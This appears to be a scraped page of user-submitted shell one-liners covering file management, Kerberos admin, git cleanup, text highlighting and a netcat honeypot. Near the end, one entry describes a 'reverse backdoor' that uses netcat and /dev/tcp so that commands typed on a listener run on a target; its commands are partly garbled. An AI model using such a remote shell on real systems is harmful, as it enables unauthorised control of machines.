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Reorder file with max 100 file per folder

Take a folder full of files and split it into smaller folders containing a maximum number of files. In this case, 100 files per directory. find creates the list of files xargs breaks up the list into groups of 100 for each group, create a directory and copy in the files Note: This command won't work if there is whitespace in the filenames (but then again, neither do the alternative commands :-)
This is sample output - yours may be different.
-1

files -type f | xargs -n100 | while read l; do mkdir $((++f)); cp $l $f; done

flatcap · 2011-02-15 23:15:16 4
view someone's twitter stream from terminal
This is sample output - yours may be different.
-1

grabtweets() { curl -s -o $GT_TMP twitter.com/$1 | cat $GT_TMP | grep entry-content | sed -e :loop -e 's/<[^>]*>//g;/</N;//bloop' | sed 's/^[ \t]*//'; }

gl101 · 2011-05-04 21:49:08 5
Get Google PageRank

via http://pagerank.bz/
This is sample output - yours may be different.
-1

curl pagerank.bz/yourdomain.com

random · 2011-09-02 09:01:52 3

addprinc

k add principle Show Sample Output

-1

kadmin -p admin@NOC.NBIRN.NET -q "addprinc -randkey host/host"

sysbot · 2009-02-05 23:20:14 14

Find all symlinks that link to directories

This will list all symlinks that are directories under the current directory. This will help you distinguish them from regular files.
This is sample output - yours may be different.
-1

ls -l $(find ./ -type l | perl -ne 'chomp; if (-d) { print "$_\n" }')

rwadkins · 2010-07-16 19:31:28 3
List the size (in human readable form) of all sub folders from the current location
This is sample output - yours may be different.
-1

du -hs *

crishoj · 2011-01-11 16:26:28 3
ktadd
This is sample output - yours may be different.
-1

kadmin -p admin@NOC.NBIRN.NET -q "ktadd -k /etc/krb5.keytab host/hostname"

sysbot · 2009-02-05 23:21:27 17
prints line numbers

There's too many options to number, My curiosity has forced me to make it using only sed. Maybe useful... or not... :-S
This is sample output - yours may be different.
-1

sed '/./=' infile | sed '/^/N; s/\n/ /'

glaudiston · 2009-12-10 16:24:56 6
Get Google Reader unread count

Get Google Reader unread count from the command line. You'll have to define your auth token with $auth Or use: curl -s -H "Authorization: GoogleLogin auth=$(curl -sd "Email=$email&Passwd=$password&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth | sed 's/Auth=$.*$/\1/')" "http://www.google.com/reader/api/0/unread-count?output=json" | tr '{' '\n' | sed 's/.*"count":$[0-9]*$,".*/\1/' | grep -E ^[0-9]+$ | tr '\n' '+' | sed 's/$.*$+/\1\n/' | bc Show Sample Output
This is sample output - yours may be different.
```
33
```
-1

curl -s -H "Authorization: GoogleLogin auth=$auth" "http://www.google.com/reader/api/0/unread-count?output=json" | tr '{' '\n' | sed 's/.*"count":$[0-9]*$,".*/\1/' | grep -E ^[0-9]+$ | tr '\n' '+' | sed 's/$.*$+/\1\n/' | bc

matthewbauer · 2010-02-11 00:42:57 7
20char long alpahnumeric "password"

20characters long alpahnumeric "password" Show Sample Output
This is sample output - yours may be different.
```
5698d846bfe078d67aef43fc0eebe4233401ad23
```
-1

head -c20 /dev/urandom | xxd -ps

opexxx · 2013-07-16 10:14:21 8
backup file with tar

backup your files in tar archive + timestamp of backup Show Sample Output
This is sample output - yours may be different.
```
medamin@inismhost:~/Documents/Developement/conf/bind9$ tar -cvf bind9-config-`date +%s`.tar *
db.192
db.192~
db.host.go
db.host.go~
named.conf.local
named.conf.local~
named.conf.options
named.conf.options~
medamin@inismhost:~/Documents/Developement/conf/bind9$
```
-1

tar -cvf bind9-config-`date +%s`.tar *

Fuonum · 2014-10-29 05:15:15 9
Login via SSH
This is sample output - yours may be different.
-1

ssh -l <username> <server>

bronskyb · 2011-05-05 11:38:56 4
Netcat ftp honeypot centos linux (use port 22 for SSH)

[root@dhcppc1 windows]# cat /var/log/honeylog.log Connection from 192.168.1.71 port 21 [tcp/ftp] accepted Connection from 192.168.1.65 port 21 [tcp/ftp] accepted [root@dhcppc1 windows]# nc 192.168.1.65 21 220 ProFTPD 1.3.3c Server [ProFTPD] FAILED FTP ATTEMPT - PORT 21 *You can not run it if you have activated the ftp server.
This is sample output - yours may be different.
-1

while [ 1 ]; do echo -e "220 ProFTPD 1.3.3c Server [ProFTPD] \nFAILED FTP ATTEMPT - PORT 21" | nc -vvv -l 192.168.1.65 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log; done

xmuda · 2013-07-16 19:05:37 6
Check out hijacked files in clearcase
This is sample output - yours may be different.
-1

cleartool co -nc `cleartool ls -recurse | grep "hijacked" | sed s/\@\@.*// | xargs`

ultrahax · 2009-02-06 00:03:51 51
kalarm 1 per minute simplest e-mail beacom for Geovision surveillance DVR

I have a custmer's Geovision DVR installed on a closed proxi (only logme-in reaches it). I have to check for reliability but logmein hangs and is too slow a process I made the Geovision software send e-mail every minute to the www.spam.la site. All this script does is to retrieve the e-mail header from spam.la ( no login!), filtering sender, stopping at the first occurrence of the word "secs" ( the age of the last e-mail ). The result is the age of the sender's last e-mail, tiny published on top of my screen once a minute. I can refresh www.spam.la via web browser, but have other things to do. I use it inside Kalarm ( kde task schedule ) set to 1 minute repeat. It can be done without kalarm, using Watch outside the script. Try it out now using my account = geo1 ( change sender by geo1 in this script) Needs curl , osd-bin
This is sample output - yours may be different.
-1

curl http://www.spam.la/?f=sender | grep secs| awk '{print; exit}' | osd_cat -i 40 -d 30 -l 2

m33600 · 2009-11-12 21:33:06 5
Echo exit status (a.k.a. return code)

I often find it useful to know what the exit status for a program was. This can be helpful when looking up errors by exit status or when scripting frequent commands. Taken from http://www.faqs.org/docs/abs/HTML/exit-status.html Show Sample Output
This is sample output - yours may be different.
```
echo hello
echo $?    # Exit status 0 returned because command executed successfully.
0
ls foo
echo $?    # Exit status 2 returned because command failed (value depends on command, see man page).
2
```
-1

echo $?

lucasrangit · 2011-07-27 15:34:20 3
sets desktop background using zenity

Assuming you have zenity installed, and assuming that you keep your backgrounds in ~/backgrounds, then this should work for you! :)
This is sample output - yours may be different.
-1

zenity --list --width 500 --height 500 --column 'Wallpapers' $(ls) | xargs xsetbg -center -smooth -fullscreen

TheShadowFog · 2011-11-15 02:44:48 4
free some harddrive space by garbage collecting in all your git repos

Assumes you've cd'd to the folder in which all your git repos reside; you could run it from ~ without -maxdepth, although that might make find take quite a while longer. If you have several processor cores, but not that much ram, you might want to run git config --global pack.threads 1 first, since gc-ing can eat lots of ram. Show Sample Output
This is sample output - yours may be different.
```
Counting objects: 1969, done.
Delta compression using up to 8 threads.
Compressing objects: 100% (579/579), done.
Writing objects: 100% (1969/1969), done.
Total 1969 (delta 1334), reused 1969 (delta 1334)
Counting objects: 12491, done.
Delta compression using up to 8 threads.
Compressing objects: 100% (2997/2997), done.
Writing objects: 100% (12491/12491), done.
Total 12491 (delta 9355), reused 12491 (delta 9355)
```
-1

find . -maxdepth 2 -type d -name '.git' -print0 | while read -d ''; do (cd "$REPLY"; git gc); done

unhammer · 2012-11-07 08:38:33 4
Import an entire directory into clearcase
This is sample output - yours may be different.
-1

ct mkelem -nc `find ./ -name "*" | xargs`

ultrahax · 2009-02-06 00:04:31 46
Windows person acting like an idiot in Linux?

Is there somebody that uses Windows a lot that keeps messing up your Linux machine? Press Ctrl+Alt+F1-F6 and run this command after logging into a text shell!
This is sample output - yours may be different.
-1

export PS1="C:\\>"; clear

ThePCKid · 2011-06-18 17:52:42 5
bash function to "highlight" tabs and linebreaks

I don't think it's possible to give a (background) colour to the tab itself, since a tab is, IIUC, simply a command to the terminal to move to the right. Nevertheless, this "highlighting" can be helpful when working with tab-separated files. Show Sample Output
This is sample output - yours may be different.
```
$ echo -e 'foo\tbar\nfie\tfum'|hl-nonprinting 
foo&#9657;    bar&#8267;
fie&#9657;    fum&#8267;
```
-1

hl-nonprinting () { local C=$(printf '\033[0;36m') R=$(printf '\033[0m'); sed -e "s/\t/${C}▹&$R/g" -e "s/$/${C}⁋$R/";}

unhammer · 2012-11-07 09:55:48 4
Btrfs: Find file names with checksum errors

Btrfs reports the inode numbers of files with failed checksums. Use `find` to lookup the file names of those inodes.
This is sample output - yours may be different.
-1

dmesg | grep -Po 'csum failed ino\S* \d+' | sort | uniq | xargs -n 3 find / -inum 2> /dev/null

Sepero · 2014-03-20 06:27:15 10
webcam player in ascii art

Use gstreamer to capture v4l2:///dev/video0 and show ascii art video in display.
This is sample output - yours may be different.
-1

gst-launch v4l2src ! aasink

rubenrua · 2009-02-18 22:17:53 5
gmail safe folder

Returns any file in the folder which would be rejected by Gmail, if you were to send zipped version. (Yes, you could just zip it and knock the extension off and put it back on the other side, but for some people this just isn't a solution) Show Sample Output
This is sample output - yours may be different.
```
./.local/share/Trash/files/run.bat
./.wine/drive_c/Program Files/Nuance/PDF Reader/bin/ZPortfolioRes.dll
./.wine/drive_c/Program Files/Nuance/PDF Reader/bin/zrtf.dll
./.wine/drive_c/Program Files/Nuance/PDF Reader/bin/ztypeset.dll
./writeup/lib/mempatch.ins
./writeup/lib/memoir.ins
```
-1

find | egrep "\.(ade|adp|bat|chm|cmd|com|cpl|dll|exe|hta|ins|isp|jse|lib|mde|msc|msp|mst|pif|scr|sct|shb|sys|vb|vbe|vbs|vxd|wsc|wsf|wsh)$"

poulter7 · 2010-11-23 16:53:55 10
bash function to highlight non-printing characters: tab, newline, BOM, nbsp

Can't see it here, but the non-breaking space is highlighted :) Of course, cat -t -e achieves something similar, but less colourful. Could add more code points from https://en.wikipedia.org/wiki/Space_%28punctuation%29#Spaces_in_Unicode Show Sample Output
This is sample output - yours may be different.
```
$ env printf '\uFEFFfoo\u00A0bar\nfie\tfum'|hl-nonprinting 
 foo? bar&#8267;
fie&#9657;    fum&#8267;
```
-1

hl-nonprinting () { local C=$(printf '\033[0;36m') B=$(printf '\033[0;46m') R=$(printf '\033[0m') np=$(env printf "\u00A0\uFEFF"); sed -e "s/\t/${C}▹&$R/g" -e "s/$/${C}⁋$R/" -e "s/[$np]/${B}& $R/g";}

unhammer · 2012-11-07 10:09:40 9
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Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Show all detected mountable Drives/Partitions/BlockDevices

Yields entries in the form of "/dev/hda1" etc. Use this if you are on a new system and don't know how the storage hardware (ide, sata, scsi, usb - with ever changing descriptors) is connected and which partitions are available. Far better than using "fdisk -l" on guessed device descriptors.

Add a shadow to picture

Please take notice that if you are going to use an JPG file for shadow effect, let change -background none to -background white! Because -background none make a transparent effect while JPG doesn't support transparent! And when viewing, you will get a bacl box! So we will use an white background under! We can use other color as well!

print crontab entries for all the users that actually have a crontab

This is how I list the crontab for all the users on a given system that actually have a crontab. You could wrap it with a function block and place it in your .profile or .bashrc for quick access. There's prolly a simpler way to do this. Discuss.

Silently deletes lines containing a specific string in a bunch of files

This command will find all occurrences of one or more patterns in a collection of files and will delete every line matching the patterns in every file

Change wallpaper

display typedefs, structs, unions and functions provided by a header file

will display typedefs, structs, unions and functions declared in 'stdio.h'(checkout _IO_FILE structure). It will be helpful if we want to know what a particular header file will offer to us. Command 'cpp' is GNU's C Preprocessor.

Get the Volume labels all bitlocker volumes had before being encrypted

Get information of volume labels of bitlocker volumes, even if they are encrypted and locked (no access to filesystem, no password provided). Note that the volume labels can have spaces, but only if you name then before encryption. Renaming a bitlocker partition after being encrypted does not have the same effect as doing it before.

Set laptop display brightness

Run as root. Path may vary depending on laptop model and video card (this was tested on an Acer laptop with ATI HD3200 video). $ cat /proc/acpi/video/VGA/LCD/brightness to discover the possible values for your display.

list files recursively by size

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